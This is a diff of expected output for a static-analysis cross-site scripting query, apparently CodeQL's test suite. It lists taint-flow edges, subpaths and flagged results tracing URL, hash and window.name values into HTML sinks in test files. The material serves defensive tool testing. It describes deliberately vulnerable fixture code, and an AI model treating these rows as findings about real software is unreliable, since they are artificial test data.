+| tst.js:6:37:6:58 | documen ... on.href | tst.js:6:37:6:114 | documen ... t=")+8) | provenance | Config |
+| tst.js:6:37:6:114 | documen ... t=")+8) | tst.js:6:18:6:126 | "<OPTIO ... PTION>" | provenance |  |
+| tst.js:6:37:6:114 | documen ... t=")+8) | tst.js:6:18:6:126 | "<OPTIO ... PTION>" | provenance |  |
+| tst.js:6:37:6:114 | documen ... t=")+8) | tst.js:6:18:6:126 | "<OPTIO ... PTION>" | provenance | Config |
+| tst.js:9:28:9:33 | target | tst.js:9:5:9:42 | '<div s ...  'px">' | provenance | Config |
+| tst.js:14:7:14:56 | params | tst.js:15:18:15:23 | params | provenance |  |
+| tst.js:14:7:14:56 | params [MapValue] | tst.js:15:18:15:23 | params [MapValue] | provenance |  |
+| tst.js:14:16:14:43 | (new UR ... ation)) [searchParams, MapValue] | tst.js:14:16:14:56 | (new UR ... hParams [MapValue] | provenance |  |
+| tst.js:14:16:14:43 | (new UR ... ation)) [searchParams] | tst.js:14:16:14:56 | (new UR ... hParams | provenance |  |
+| tst.js:14:16:14:56 | (new UR ... hParams | tst.js:14:7:14:56 | params | provenance |  |
+| tst.js:14:16:14:56 | (new UR ... hParams [MapValue] | tst.js:14:7:14:56 | params [MapValue] | provenance |  |
+| tst.js:14:17:14:42 | new URL ... cation) [searchParams, MapValue] | tst.js:14:16:14:43 | (new UR ... ation)) [searchParams, MapValue] | provenance |  |
+| tst.js:14:17:14:42 | new URL ... cation) [searchParams] | tst.js:14:16:14:43 | (new UR ... ation)) [searchParams] | provenance |  |
+| tst.js:14:25:14:41 | document.location | tst.js:14:17:14:42 | new URL ... cation) [searchParams, MapValue] | provenance |  |
+| tst.js:14:25:14:41 | document.location | tst.js:14:17:14:42 | new URL ... cation) [searchParams] | provenance |  |
+| tst.js:15:18:15:23 | params | tst.js:15:18:15:35 | params.get('name') | provenance | Config |
+| tst.js:15:18:15:23 | params [MapValue] | tst.js:15:18:15:35 | params.get('name') | provenance |  |
+| tst.js:17:7:17:61 | searchParams | tst.js:18:18:18:29 | searchParams | provenance |  |
+| tst.js:17:7:17:61 | searchParams [MapValue] | tst.js:18:18:18:29 | searchParams [MapValue] | provenance |  |
+| tst.js:17:22:17:61 | new URL ... ing(1)) | tst.js:17:7:17:61 | searchParams | provenance |  |
+| tst.js:17:22:17:61 | new URL ... ing(1)) [MapValue] | tst.js:17:7:17:61 | searchParams [MapValue] | provenance |  |
+| tst.js:17:42:17:47 | target | tst.js:17:42:17:60 | target.substring(1) | provenance |  |
+| tst.js:17:42:17:47 | target | tst.js:17:42:17:60 | target.substring(1) | provenance | Config |
+| tst.js:17:42:17:47 | target | tst.js:17:42:17:60 | target.substring(1) | provenance | Config |
+| tst.js:17:42:17:60 | target.substring(1) | tst.js:17:22:17:61 | new URL ... ing(1)) | provenance |  |
+| tst.js:17:42:17:60 | target.substring(1) | tst.js:17:22:17:61 | new URL ... ing(1)) [MapValue] | provenance |  |
+| tst.js:17:42:17:60 | target.substring(1) | tst.js:17:22:17:61 | new URL ... ing(1)) [MapValue] | provenance |  |
+| tst.js:17:42:17:60 | target.substring(1) | tst.js:17:22:17:61 | new URL ... ing(1)) [MapValue] | provenance |  |
+| tst.js:18:18:18:29 | searchParams | tst.js:18:18:18:41 | searchP ... 'name') | provenance | Config |
+| tst.js:18:18:18:29 | searchParams [MapValue] | tst.js:18:18:18:41 | searchP ... 'name') | provenance |  |
+| tst.js:21:14:21:19 | target | tst.js:22:18:22:23 | target | provenance |  |
+| tst.js:24:5:24:28 | documen ... .search | tst.js:21:14:21:19 | target | provenance |  |
+| tst.js:27:10:27:33 | documen ... .search | tst.js:29:16:29:20 | bar() | provenance |  |
+| tst.js:27:10:27:33 | documen ... .search | tst.js:48:26:48:30 | bar() | provenance |  |
+| tst.js:27:10:27:33 | documen ... .search | tst.js:56:16:56:20 | bar() | provenance |  |
+| tst.js:31:14:31:14 | x | tst.js:32:10:32:10 | x | provenance |  |
+| tst.js:34:20:34:43 | documen ... .search | tst.js:31:14:31:14 | x | provenance |  |
+| tst.js:34:20:34:43 | documen ... .search | tst.js:34:16:34:44 | baz(doc ... search) | provenance |  |
+| tst.js:36:15:36:15 | s | tst.js:37:20:37:20 | s | provenance |  |
+| tst.js:36:15:36:15 | s | tst.js:37:20:37:20 | s | provenance |  |
+| tst.js:37:20:37:20 | s | tst.js:37:10:37:31 | "<div>" ... </div>" | provenance |  |
+| tst.js:37:20:37:20 | s | tst.js:37:10:37:31 | "<div>" ... </div>" | provenance |  |
+| tst.js:37:20:37:20 | s | tst.js:37:10:37:31 | "<div>" ... </div>" | provenance | Config |
+| tst.js:39:21:39:44 | documen ... .search | tst.js:36:15:36:15 | s | provenance |  |
+| tst.js:39:21:39:44 | documen ... .search | tst.js:39:16:39:45 | wrap(do ... search) | provenance |  |
+| tst.js:39:21:39:44 | documen ... .search | tst.js:39:16:39:45 | wrap(do ... search) | provenance | Config |
+| tst.js:41:15:41:15 | s | tst.js:43:12:43:12 | s | provenance |  |
+| tst.js:43:12:43:12 | s | tst.js:43:12:43:22 | s.substr(1) | provenance |  |
+| tst.js:43:12:43:12 | s | tst.js:43:12:43:22 | s.substr(1) | provenance | Config |
+| tst.js:43:12:43:12 | s | tst.js:43:12:43:22 | s.substr(1) | provenance | Config |
+| tst.js:46:21:46:44 | documen ... .search | tst.js:41:15:41:15 | s | provenance |  |
+| tst.js:46:21:46:44 | documen ... .search | tst.js:46:16:46:45 | chop(do ... search) | provenance |  |
+| tst.js:46:21:46:44 | documen ... .search | tst.js:46:16:46:45 | chop(do ... search) | provenance | Config |
+| tst.js:47:21:47:44 | documen ... .search | tst.js:41:15:41:15 | s | provenance |  |
+| tst.js:47:21:47:44 | documen ... .search | tst.js:47:16:47:45 | chop(do ... search) | provenance |  |
+| tst.js:47:21:47:44 | documen ... .search | tst.js:47:16:47:45 | chop(do ... search) | provenance | Config |
+| tst.js:48:21:48:31 | chop(bar()) | tst.js:36:15:36:15 | s | provenance |  |
+| tst.js:48:21:48:31 | chop(bar()) | tst.js:36:15:36:15 | s | provenance |  |
+| tst.js:48:21:48:31 | chop(bar()) | tst.js:48:16:48:32 | wrap(chop(bar())) | provenance |  |
+| tst.js:48:21:48:31 | chop(bar()) | tst.js:48:16:48:32 | wrap(chop(bar())) | provenance |  |
+| tst.js:48:21:48:31 | chop(bar()) | tst.js:48:16:48:32 | wrap(chop(bar())) | provenance | Config |
+| tst.js:48:26:48:30 | bar() | tst.js:41:15:41:15 | s | provenance |  |
+| tst.js:48:26:48:30 | bar() | tst.js:48:21:48:31 | chop(bar()) | provenance |  |
+| tst.js:48:26:48:30 | bar() | tst.js:48:21:48:31 | chop(bar()) | provenance | Config |
+| tst.js:50:34:50:34 | s | tst.js:51:18:51:18 | s | provenance |  |
+| tst.js:53:25:53:48 | documen ... .search | tst.js:50:34:50:34 | s | provenance |  |
+| tst.js:54:25:54:48 | documen ... .search | tst.js:50:34:50:34 | s | provenance |  |
+| tst.js:58:1:58:27 | [,docum ... search] [1] | tst.js:58:46:58:46 | x | provenance |  |
+| tst.js:58:3:58:26 | documen ... .search | tst.js:58:1:58:27 | [,docum ... search] [1] | provenance |  |
+| tst.js:58:46:58:46 | x | tst.js:60:20:60:20 | x | provenance |  |
+| tst.js:93:7:93:44 | v | tst.js:95:18:95:18 | v | provenance |  |
+| tst.js:93:7:93:44 | v | tst.js:120:18:120:18 | v | provenance |  |
+| tst.js:93:11:93:34 | documen ... .search | tst.js:93:11:93:44 | documen ... bstr(1) | provenance |  |
+| tst.js:93:11:93:34 | documen ... .search | tst.js:93:11:93:44 | documen ... bstr(1) | provenance | Config |
+| tst.js:93:11:93:44 | documen ... bstr(1) | tst.js:93:7:93:44 | v | provenance |  |
+| tst.js:132:29:132:50 | window. ... .search | tst.js:135:29:135:29 | v | provenance |  |
+| tst.js:135:29:135:29 | v | tst.js:135:49:135:49 | v | provenance |  |
+| tst.js:142:40:142:61 | window. ... .search | tst.js:139:29:139:46 | xssSourceService() | provenance |  |
+| tst.js:161:9:161:41 | target | tst.js:164:28:164:33 | target | provenance |  |
+| tst.js:161:18:161:41 | documen ... .search | tst.js:161:9:161:41 | target | provenance |  |
+| tst.js:168:9:168:42 | tainted | tst.js:170:31:170:37 | tainted | provenance |  |
+| tst.js:168:9:168:42 | tainted | tst.js:172:42:172:48 | tainted | provenance |  |
+| tst.js:168:9:168:42 | tainted | tst.js:173:33:173:39 | tainted | provenance |  |
+| tst.js:168:9:168:42 | tainted | tst.js:175:54:175:60 | tainted | provenance |  |
+| tst.js:168:9:168:42 | tainted | tst.js:176:45:176:51 | tainted | provenance |  |
+| tst.js:168:9:168:42 | tainted | tst.js:177:49:177:55 | tainted | provenance |  |
+| tst.js:168:19:168:42 | documen ... .search | tst.js:168:9:168:42 | tainted | provenance |  |
+| tst.js:181:9:181:42 | tainted | tst.js:183:67:183:73 | tainted | provenance |  |
+| tst.js:181:9:181:42 | tainted | tst.js:184:67:184:73 | tainted | provenance |  |
+| tst.js:181:9:181:42 | tainted | tst.js:220:35:220:41 | tainted | provenance |  |
+| tst.js:181:9:181:42 | tainted | tst.js:222:20:222:26 | tainted | provenance |  |
+| tst.js:181:9:181:42 | tainted | tst.js:224:23:224:29 | tainted | provenance |  |
+| tst.js:181:9:181:42 | tainted | tst.js:225:23:225:29 | tainted | provenance |  |
+| tst.js:181:9:181:42 | tainted | tst.js:239:23:239:29 | tainted | provenance |  |
+| tst.js:181:19:181:42 | documen ... .search | tst.js:181:9:181:42 | tainted | provenance |  |
+| tst.js:183:67:183:73 | tainted | tst.js:184:67:184:73 | tainted | provenance |  |
+| tst.js:184:67:184:73 | tainted | tst.js:188:35:188:41 | tainted | provenance |  |
+| tst.js:184:67:184:73 | tainted | tst.js:190:46:190:52 | tainted | provenance |  |
+| tst.js:184:67:184:73 | tainted | tst.js:191:38:191:44 | tainted | provenance |  |
+| tst.js:184:67:184:73 | tainted | tst.js:192:35:192:41 | tainted | provenance |  |
+| tst.js:184:67:184:73 | tainted | tst.js:220:35:220:41 | tainted | provenance |  |
+| tst.js:188:35:188:41 | tainted | tst.js:196:28:196:46 | this.state.tainted1 | provenance |  |
+| tst.js:190:46:190:52 | tainted | tst.js:197:28:197:46 | this.state.tainted2 | provenance |  |
+| tst.js:191:38:191:44 | tainted | tst.js:198:28:198:46 | this.state.tainted3 | provenance |  |
+| tst.js:192:35:192:41 | tainted | tst.js:202:32:202:49 | prevState.tainted4 | provenance |  |
+| tst.js:220:35:220:41 | tainted | tst.js:209:28:209:46 | this.props.tainted1 | provenance |  |
+| tst.js:220:35:220:41 | tainted | tst.js:222:20:222:26 | tainted | provenance |  |
+| tst.js:222:20:222:26 | tainted | tst.js:210:28:210:46 | this.props.tainted2 | provenance |  |
+| tst.js:222:20:222:26 | tainted | tst.js:224:23:224:29 | tainted | provenance |  |
+| tst.js:224:23:224:29 | tainted | tst.js:211:28:211:46 | this.props.tainted3 | provenance |  |
+| tst.js:224:23:224:29 | tainted | tst.js:225:23:225:29 | tainted | provenance |  |
+| tst.js:225:23:225:29 | tainted | tst.js:215:32:215:49 | prevProps.tainted4 | provenance |  |
+| tst.js:225:23:225:29 | tainted | tst.js:239:23:239:29 | tainted | provenance |  |
+| tst.js:231:39:231:55 | props.propTainted | tst.js:235:60:235:82 | this.st ... Tainted | provenance |  |
+| tst.js:239:23:239:29 | tainted | tst.js:231:39:231:55 | props.propTainted | provenance |  |
+| tst.js:269:9:269:29 | tainted | tst.js:272:59:272:65 | tainted | provenance |  |
+| tst.js:269:19:269:29 | window.name | tst.js:269:9:269:29 | tainted | provenance |  |
+| tst.js:285:9:285:16 | location | tst.js:286:10:286:10 | e | provenance |  |
+| tst.js:286:10:286:10 | e | tst.js:287:20:287:20 | e | provenance |  |
+| tst.js:292:10:292:17 | location | tst.js:294:10:294:10 | e | provenance |  |
+| tst.js:294:10:294:10 | e | tst.js:295:20:295:20 | e | provenance |  |
+| tst.js:311:10:311:35 | new URL ... cation) [searchParams, MapValue] | tst.js:315:16:315:30 | getTaintedUrl() [searchParams, MapValue] | provenance |  |
+| tst.js:311:10:311:35 | new URL ... cation) [searchParams] | tst.js:315:16:315:30 | getTaintedUrl() [searchParams] | provenance |  |
+| tst.js:311:18:311:34 | document.location | tst.js:311:10:311:35 | new URL ... cation) [searchParams, MapValue] | provenance |  |
+| tst.js:311:18:311:34 | document.location | tst.js:311:10:311:35 | new URL ... cation) [searchParams] | provenance |  |
+| tst.js:315:7:315:43 | params | tst.js:316:18:316:23 | params | provenance |  |
+| tst.js:315:7:315:43 | params [MapValue] | tst.js:316:18:316:23 | params [MapValue] | provenance |  |
+| tst.js:315:16:315:30 | getTaintedUrl() [searchParams, MapValue] | tst.js:315:16:315:43 | getTain ... hParams [MapValue] | provenance |  |
+| tst.js:315:16:315:30 | getTaintedUrl() [searchParams] | tst.js:315:16:315:43 | getTain ... hParams | provenance |  |
+| tst.js:315:16:315:43 | getTain ... hParams | tst.js:315:7:315:43 | params | provenance |  |
+| tst.js:315:16:315:43 | getTain ... hParams [MapValue] | tst.js:315:7:315:43 | params [MapValue] | provenance |  |
+| tst.js:316:18:316:23 | params | tst.js:316:18:316:35 | params.get('name') | provenance | Config |
+| tst.js:316:18:316:23 | params [MapValue] | tst.js:316:18:316:35 | params.get('name') | provenance |  |
+| tst.js:325:12:325:37 | new URL ... cation) [hash] | tst.js:327:5:327:12 | getUrl() [hash] | provenance |  |
+| tst.js:325:20:325:36 | document.location | tst.js:325:12:325:37 | new URL ... cation) [hash] | provenance |  |
+| tst.js:327:5:327:12 | getUrl() [hash] | tst.js:327:5:327:17 | getUrl().hash | provenance |  |
+| tst.js:327:5:327:17 | getUrl().hash | tst.js:327:5:327:30 | getUrl( ... ring(1) | provenance | Config |
+| tst.js:332:7:332:39 | target | tst.js:333:12:333:17 | target | provenance |  |
+| tst.js:332:16:332:39 | documen ... .search | tst.js:332:7:332:39 | target | provenance |  |
+| tst.js:339:10:339:42 | target | tst.js:340:16:340:21 | target | provenance |  |
+| tst.js:339:10:339:42 | target | tst.js:341:20:341:25 | target | provenance |  |
+| tst.js:339:19:339:42 | documen ... .search | tst.js:339:10:339:42 | target | provenance |  |
+| tst.js:340:16:340:21 | target | tst.js:341:20:341:25 | target | provenance |  |
+| tst.js:341:20:341:25 | target | tst.js:344:21:344:26 | target | provenance |  |
+| tst.js:341:20:341:25 | target | tst.js:347:18:347:23 | target | provenance |  |
+| tst.js:355:7:355:39 | target | tst.js:357:18:357:23 | target | provenance |  |
+| tst.js:355:16:355:39 | documen ... .search | tst.js:355:7:355:39 | target | provenance |  |
+| tst.js:364:7:364:39 | target | tst.js:367:18:367:23 | target | provenance |  |
+| tst.js:364:7:364:39 | target | tst.js:369:18:369:23 | target | provenance |  |
+| tst.js:364:7:364:39 | target | tst.js:380:18:380:23 | target | provenance |  |
+| tst.js:364:7:364:39 | target | tst.js:389:18:389:23 | target | provenance |  |
+| tst.js:364:7:364:39 | target | tst.js:391:19:391:24 | target | provenance |  |
+| tst.js:364:16:364:39 | documen ... .search | tst.js:364:7:364:39 | target | provenance |  |
+| tst.js:369:18:369:23 | target | tst.js:369:18:369:29 | target.taint | provenance |  |
+| tst.js:374:3:374:8 | [post update] target [taint3] | tst.js:375:18:375:23 | target [taint3] | provenance |  |
+| tst.js:374:19:374:42 | documen ... .search | tst.js:374:3:374:8 | [post update] target [taint3] | provenance |  |
+| tst.js:375:18:375:23 | target [taint3] | tst.js:375:18:375:30 | target.taint3 | provenance |  |
+| tst.js:380:18:380:23 | target | tst.js:380:18:380:30 | target.taint5 | provenance |  |
+| tst.js:389:18:389:23 | target | tst.js:389:18:389:30 | target.taint7 | provenance |  |
+| tst.js:391:3:391:8 | [post update] target [taint8] | tst.js:391:19:391:24 | target [taint8] | provenance |  |
+| tst.js:391:3:391:8 | [post update] target [taint8] | tst.js:392:18:392:23 | target [taint8] | provenance |  |
+| tst.js:391:19:391:24 | target | tst.js:391:19:391:31 | target.taint8 | provenance |  |
+| tst.js:391:19:391:24 | target [taint8] | tst.js:391:19:391:31 | target.taint8 | provenance |  |
+| tst.js:391:19:391:31 | target.taint8 | tst.js:391:3:391:8 | [post update] target [taint8] | provenance |  |
+| tst.js:392:18:392:23 | target [taint8] | tst.js:392:18:392:30 | target.taint8 | provenance |  |
+| tst.js:399:7:399:46 | payload | tst.js:400:18:400:24 | payload | provenance |  |
+| tst.js:399:17:399:36 | window.location.hash | tst.js:399:17:399:46 | window. ... bstr(1) | provenance |  |
+| tst.js:399:17:399:36 | window.location.hash | tst.js:399:17:399:46 | window. ... bstr(1) | provenance | Config |
+| tst.js:399:17:399:46 | window. ... bstr(1) | tst.js:399:7:399:46 | payload | provenance |  |
+| tst.js:402:7:402:55 | match | tst.js:404:20:404:24 | match | provenance |  |
+| tst.js:402:15:402:34 | window.location.hash | tst.js:402:15:402:55 | window. ... (\\w+)/) | provenance |  |
+| tst.js:402:15:402:55 | window. ... (\\w+)/) | tst.js:402:7:402:55 | match | provenance |  |
+| tst.js:404:20:404:24 | match | tst.js:404:20:404:27 | match[1] | provenance |  |
+| tst.js:407:18:407:37 | window.location.hash | tst.js:407:18:407:48 | window. ... it('#') [1] | provenance | Config |
+| tst.js:407:18:407:48 | window. ... it('#') [1] | tst.js:407:18:407:51 | window. ... '#')[1] | provenance |  |
+| tst.js:411:7:411:39 | target | tst.js:413:18:413:23 | target | provenance |  |
+| tst.js:411:16:411:39 | documen ... .search | tst.js:411:7:411:39 | target | provenance |  |
+| tst.js:413:18:413:23 | target | tst.js:413:18:413:89 | target. ... data>') | provenance |  |
+| tst.js:419:6:419:38 | source | tst.js:423:28:423:33 | source | provenance |  |
+| tst.js:419:6:419:38 | source | tst.js:424:33:424:38 | source | provenance |  |
+| tst.js:419:6:419:38 | source | tst.js:425:34:425:39 | source | provenance |  |
+| tst.js:419:6:419:38 | source | tst.js:426:41:426:46 | source | provenance |  |
+| tst.js:419:6:419:38 | source | tst.js:427:44:427:49 | source | provenance |  |
+| tst.js:419:6:419:38 | source | tst.js:428:32:428:37 | source | provenance |  |
+| tst.js:419:15:419:38 | documen ... .search | tst.js:419:6:419:38 | source | provenance |  |
+| tst.js:436:7:436:39 | source | tst.js:438:18:438:23 | source | provenance |  |
+| tst.js:436:7:436:39 | source | tst.js:439:36:439:41 | source | provenance |  |
+| tst.js:436:16:436:39 | documen ... .search | tst.js:436:7:436:39 | source | provenance |  |
+| tst.js:439:36:439:41 | source | tst.js:439:18:439:42 | ansiToH ... source) | provenance |  |
+| tst.js:443:6:443:38 | source | tst.js:446:21:446:26 | source | provenance |  |
+| tst.js:443:6:443:38 | source | tst.js:448:19:448:24 | source | provenance |  |
+| tst.js:443:6:443:38 | source | tst.js:450:20:450:25 | source | provenance |  |
+| tst.js:443:15:443:38 | documen ... .search | tst.js:443:6:443:38 | source | provenance |  |
+| tst.js:454:7:454:46 | url | tst.js:456:19:456:21 | url | provenance |  |
+| tst.js:454:7:454:46 | url | tst.js:457:26:457:28 | url | provenance |  |
+| tst.js:454:7:454:46 | url | tst.js:458:25:458:27 | url | provenance |  |
+| tst.js:454:7:454:46 | url | tst.js:459:20:459:22 | url | provenance |  |
+| tst.js:454:7:454:46 | url | tst.js:469:22:469:24 | url | provenance |  |
+| tst.js:454:13:454:36 | documen ... .search | tst.js:454:13:454:46 | documen ... bstr(1) | provenance | Config |
+| tst.js:454:13:454:46 | documen ... bstr(1) | tst.js:454:7:454:46 | url | provenance |  |
+| tst.js:474:23:474:35 | location.hash | tst.js:474:23:474:45 | locatio ... bstr(1) | provenance | Config |
+| tst.js:477:18:477:30 | location.hash | tst.js:477:18:477:40 | locatio ... bstr(1) | provenance | Config |
+| tst.js:484:43:484:62 | window.location.hash | tst.js:484:33:484:63 | decodeU ... n.hash) | provenance |  |
+| tst.js:491:7:491:39 | target | tst.js:492:18:492:23 | target | provenance |  |
+| tst.js:491:16:491:39 | documen ... .search | tst.js:491:7:491:39 | target | provenance |  |
+| tst.js:492:18:492:23 | target | tst.js:492:18:492:54 | target. ... "), '') | provenance |  |
+| tst.js:498:7:498:26 | source | tst.js:499:27:499:32 | source | provenance |  |
+| tst.js:498:16:498:26 | window.name | tst.js:498:7:498:26 | source | provenance |  |
+| tst.js:499:27:499:32 | source | tst.js:499:18:499:33 | unescape(source) | provenance |  |
 | typeahead.js:9:28:9:30 | loc | typeahead.js:10:16:10:18 | loc | provenance |  |
 | typeahead.js:20:13:20:45 | target | typeahead.js:21:12:21:17 | target | provenance |  |
 | typeahead.js:20:22:20:45 | documen ... .search | typeahead.js:20:13:20:45 | target | provenance |  |
 | typeahead.js:21:12:21:17 | target | typeahead.js:24:30:24:32 | val | provenance |  |
 | typeahead.js:24:30:24:32 | val | typeahead.js:25:18:25:20 | val | provenance |  |
+| v-html.vue:6:42:6:58 | document.location | v-html.vue:2:8:2:23 | v-html=tainted | provenance |  |
 | various-concat-obfuscations.js:2:6:2:39 | tainted | various-concat-obfuscations.js:4:14:4:20 | tainted | provenance |  |
 | various-concat-obfuscations.js:2:6:2:39 | tainted | various-concat-obfuscations.js:5:12:5:18 | tainted | provenance |  |
 | various-concat-obfuscations.js:2:6:2:39 | tainted | various-concat-obfuscations.js:6:19:6:25 | tainted | provenance |  |
@@ -1248,22 +1300,36 @@ subpaths
 | optionalSanitizer.js:41:28:41:35 | tainted3 | optionalSanitizer.js:28:24:28:24 | x | optionalSanitizer.js:29:12:29:12 | x | optionalSanitizer.js:41:16:41:36 | sanitiz ... inted3) |
 | optionalSanitizer.js:45:41:45:46 | target | optionalSanitizer.js:28:24:28:24 | x | optionalSanitizer.js:29:12:29:12 | x | optionalSanitizer.js:45:29:45:47 | sanitizeBad(target) |
 | tooltip.jsx:18:51:18:57 | provide [source] | tooltip.jsx:23:38:23:43 | source | tooltip.jsx:23:38:23:43 | source | tooltip.jsx:18:51:18:59 | provide() |
-| tst.js:40:20:40:43 | documen ... .search | tst.js:36:14:36:14 | x | tst.js:37:10:37:10 | x | tst.js:40:16:40:44 | baz(doc ... search) |
-| tst.js:46:21:46:44 | documen ... .search | tst.js:42:15:42:15 | s | tst.js:43:10:43:31 | "<div>" ... </div>" | tst.js:46:16:46:45 | wrap(do ... search) |
-| tst.js:54:21:54:44 | documen ... .search | tst.js:48:15:48:15 | s | tst.js:50:12:50:22 | s.substr(1) | tst.js:54:16:54:45 | chop(do ... search) |
-| tst.js:54:21:54:44 | documen ... .search | tst.js:48:15:48:15 | s | tst.js:50:12:50:22 | s.substr(1) | tst.js:54:16:54:45 | chop(do ... search) |
-| tst.js:54:21:54:44 | documen ... .search | tst.js:48:15:48:15 | s | tst.js:50:12:50:22 | s.substr(1) | tst.js:54:16:54:45 | chop(do ... search) |
-| tst.js:56:21:56:44 | documen ... .search | tst.js:48:15:48:15 | s | tst.js:50:12:50:22 | s.substr(1) | tst.js:56:16:56:45 | chop(do ... search) |
-| tst.js:56:21:56:44 | documen ... .search | tst.js:48:15:48:15 | s | tst.js:50:12:50:22 | s.substr(1) | tst.js:56:16:56:45 | chop(do ... search) |
-| tst.js:56:21:56:44 | documen ... .search | tst.js:48:15:48:15 | s | tst.js:50:12:50:22 | s.substr(1) | tst.js:56:16:56:45 | chop(do ... search) |
-| tst.js:58:21:58:31 | chop(bar()) | tst.js:42:15:42:15 | s | tst.js:43:10:43:31 | "<div>" ... </div>" | tst.js:58:16:58:32 | wrap(chop(bar())) |
-| tst.js:58:21:58:31 | chop(bar()) | tst.js:42:15:42:15 | s | tst.js:43:10:43:31 | "<div>" ... </div>" | tst.js:58:16:58:32 | wrap(chop(bar())) |
-| tst.js:58:26:58:30 | bar() | tst.js:48:15:48:15 | s | tst.js:50:12:50:22 | s.substr(1) | tst.js:58:21:58:31 | chop(bar()) |
-| tst.js:58:26:58:30 | bar() | tst.js:48:15:48:15 | s | tst.js:50:12:50:22 | s.substr(1) | tst.js:58:21:58:31 | chop(bar()) |
+| tst.js:34:20:34:43 | documen ... .search | tst.js:31:14:31:14 | x | tst.js:32:10:32:10 | x | tst.js:34:16:34:44 | baz(doc ... search) |
+| tst.js:39:21:39:44 | documen ... .search | tst.js:36:15:36:15 | s | tst.js:37:10:37:31 | "<div>" ... </div>" | tst.js:39:16:39:45 | wrap(do ... search) |
+| tst.js:46:21:46:44 | documen ... .search | tst.js:41:15:41:15 | s | tst.js:43:12:43:22 | s.substr(1) | tst.js:46:16:46:45 | chop(do ... search) |
+| tst.js:46:21:46:44 | documen ... .search | tst.js:41:15:41:15 | s | tst.js:43:12:43:22 | s.substr(1) | tst.js:46:16:46:45 | chop(do ... search) |
+| tst.js:46:21:46:44 | documen ... .search | tst.js:41:15:41:15 | s | tst.js:43:12:43:22 | s.substr(1) | tst.js:46:16:46:45 | chop(do ... search) |
+| tst.js:47:21:47:44 | documen ... .search | tst.js:41:15:41:15 | s | tst.js:43:12:43:22 | s.substr(1) | tst.js:47:16:47:45 | chop(do ... search) |
+| tst.js:47:21:47:44 | documen ... .search | tst.js:41:15:41:15 | s | tst.js:43:12:43:22 | s.substr(1) | tst.js:47:16:47:45 | chop(do ... search) |
+| tst.js:47:21:47:44 | documen ... .search | tst.js:41:15:41:15 | s | tst.js:43:12:43:22 | s.substr(1) | tst.js:47:16:47:45 | chop(do ... search) |
+| tst.js:48:21:48:31 | chop(bar()) | tst.js:36:15:36:15 | s | tst.js:37:10:37:31 | "<div>" ... </div>" | tst.js:48:16:48:32 | wrap(chop(bar())) |
+| tst.js:48:21:48:31 | chop(bar()) | tst.js:36:15:36:15 | s | tst.js:37:10:37:31 | "<div>" ... </div>" | tst.js:48:16:48:32 | wrap(chop(bar())) |
+| tst.js:48:26:48:30 | bar() | tst.js:41:15:41:15 | s | tst.js:43:12:43:22 | s.substr(1) | tst.js:48:21:48:31 | chop(bar()) |
+| tst.js:48:26:48:30 | bar() | tst.js:41:15:41:15 | s | tst.js:43:12:43:22 | s.substr(1) | tst.js:48:21:48:31 | chop(bar()) |
 | various-concat-obfuscations.js:20:17:20:46 | documen ... h.attrs | various-concat-obfuscations.js:14:24:14:28 | attrs | various-concat-obfuscations.js:15:10:15:83 | '<div a ... </div>' | various-concat-obfuscations.js:20:4:20:47 | indirec ... .attrs) |
 | various-concat-obfuscations.js:21:17:21:46 | documen ... h.attrs | various-concat-obfuscations.js:17:24:17:28 | attrs | various-concat-obfuscations.js:18:10:18:105 | '<div a ... /div>') | various-concat-obfuscations.js:21:4:21:47 | indirec ... .attrs) |
 | various-concat-obfuscations.js:21:17:21:46 | documen ... h.attrs | various-concat-obfuscations.js:17:24:17:28 | attrs | various-concat-obfuscations.js:18:10:18:105 | '<div a ... /div>') [ArrayElement] | various-concat-obfuscations.js:21:4:21:47 | indirec ... .attrs) |
 #select
+| hana.js:11:37:11:51 | rows[0].comment | hana.js:11:37:11:40 | rows | hana.js:11:37:11:51 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:11:37:11:40 | rows | user-provided value |
+| hana.js:16:37:16:51 | rows[0].comment | hana.js:16:37:16:40 | rows | hana.js:16:37:16:51 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:16:37:16:40 | rows | user-provided value |
+| hana.js:19:37:19:51 | rows[0].comment | hana.js:19:37:19:40 | rows | hana.js:19:37:19:51 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:19:37:19:40 | rows | user-provided value |
+| hana.js:22:37:22:49 | rs[0].comment | hana.js:22:37:22:38 | rs | hana.js:22:37:22:49 | rs[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:22:37:22:38 | rs | user-provided value |
+| hana.js:38:31:38:43 | rs[0].comment | hana.js:38:31:38:32 | rs | hana.js:38:31:38:43 | rs[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:38:31:38:32 | rs | user-provided value |
+| hana.js:43:33:43:52 | dummyRows[0].comment | hana.js:43:33:43:41 | dummyRows | hana.js:43:33:43:52 | dummyRows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:43:33:43:41 | dummyRows | user-provided value |
+| hana.js:44:33:44:53 | tablesR ... comment | hana.js:44:33:44:42 | tablesRows | hana.js:44:33:44:53 | tablesR ... comment | Cross-site scripting vulnerability due to $@. | hana.js:44:33:44:42 | tablesRows | user-provided value |
+| hana.js:50:33:50:52 | dummyRows[0].comment | hana.js:50:33:50:41 | dummyRows | hana.js:50:33:50:52 | dummyRows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:50:33:50:41 | dummyRows | user-provided value |
+| hana.js:51:33:51:53 | tablesR ... comment | hana.js:51:33:51:42 | tablesRows | hana.js:51:33:51:53 | tablesR ... comment | Cross-site scripting vulnerability due to $@. | hana.js:51:33:51:42 | tablesRows | user-provided value |
+| hana.js:70:33:70:47 | rows[0].comment | hana.js:70:33:70:36 | rows | hana.js:70:33:70:47 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:70:33:70:36 | rows | user-provided value |
+| hana.js:73:33:73:47 | rows[0].comment | hana.js:73:33:73:36 | rows | hana.js:73:33:73:47 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:73:33:73:36 | rows | user-provided value |
+| hana.js:84:35:84:54 | dummyRows[0].comment | hana.js:84:35:84:43 | dummyRows | hana.js:84:35:84:54 | dummyRows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:84:35:84:43 | dummyRows | user-provided value |
+| hana.js:85:35:85:54 | tableRows[0].comment | hana.js:85:35:85:43 | tableRows | hana.js:85:35:85:54 | tableRows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:85:35:85:43 | tableRows | user-provided value |
